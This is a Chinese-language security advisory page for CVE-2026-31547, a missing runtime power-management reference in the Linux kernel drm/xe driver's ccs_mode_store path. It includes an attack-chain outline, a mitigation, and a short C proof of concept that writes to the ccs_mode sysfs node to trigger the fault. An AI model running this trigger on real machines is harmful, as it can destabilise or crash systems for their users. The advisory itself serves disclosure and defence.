IPBUF安全漏洞报告
English
CVE-2026-31547 CVSS 5.5 中危

CVE-2026-31547 Linux内核drm/xe驱动资源管理漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31547
漏洞类型
资源管理错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoS资源管理错误drm/xe本地漏洞

漏洞概述

Linux内核中的drm/xe驱动程序存在资源管理漏洞。ccs_mode_store函数调用xe_gt_reset时未持有必要的运行时电源管理引用,导致触发警告并可能引发系统稳定性问题。本地低权限攻击者可利用此漏洞导致系统崩溃或拒绝服务。

技术细节

该漏洞位于Linux内核的drm/xe驱动模块中。具体而言,ccs_mode_store()函数在执行过程中调用了xe_gt_reset()以重置图形引擎。xe_gt_reset()内部会调用xe_pm_runtime_get_noresume(),该函数严格要求调用者必须已经持有一个外部的运行时电源管理引用,以防止设备在操作过程中意外休眠或状态不一致。原代码中未包含此保护机制,导致在特定操作时内核检测到“Missing outer runtime PM protection”并打印警告信息。这种逻辑错误违反了内核电源管理规则,可能导致设备状态异常、功能中断或系统崩溃。修复方案引入了基于作用域的guard(xe_pm_runtime)(xe)机制,自动管理引用的生命周期。攻击者需具备本地低权限账户,通过向特定的sysfs节点写入数据即可触发该漏洞。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要在目标系统上拥有本地低权限用户账户。
STEP 2
2. 定位攻击接口
识别系统中drm/xe驱动暴露的sysfs接口,特别是ccs_mode对应的文件路径。
STEP 3
3. 触发漏洞
通过向ccs_mode sysfs节点写入特定数据,触发ccs_mode_store函数调用。
STEP 4
4. 执行缺陷代码
内核执行xe_gt_reset(),由于缺少runtime PM引用,触发警告并可能导致系统不稳定或崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31547 * Triggering the missing runtime PM reference in ccs_mode_store * Compile: gcc -o poc cve_2026_31547.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define DEVICE_PATH "/sys/class/drm/card0/device/ccs_mode" // Adjust path as needed int main() { int fd; const char *data = "1"; // Arbitrary data to trigger store function printf("[*] Attempting to trigger CVE-2026-31547 by writing to %s\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open device file"); return 1; } if (write(fd, data, strlen(data)) < 0) { perror("[-] Failed to write to device file"); close(fd); return 1; } printf("[+] Write successful. Check dmesg for 'Missing outer runtime PM protection'.\n"); close(fd); return 0; }

影响范围

Linux Kernel (prior to commit 7937ea733f79b3f25e802a0c8360bf7423856f36)
Linux Kernel stable branches (prior to specific backports)

防御指南

临时缓解措施
限制非特权用户对sysfs文件系统的访问权限,或禁用受影响的图形驱动功能(如果可能),直到内核升级完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表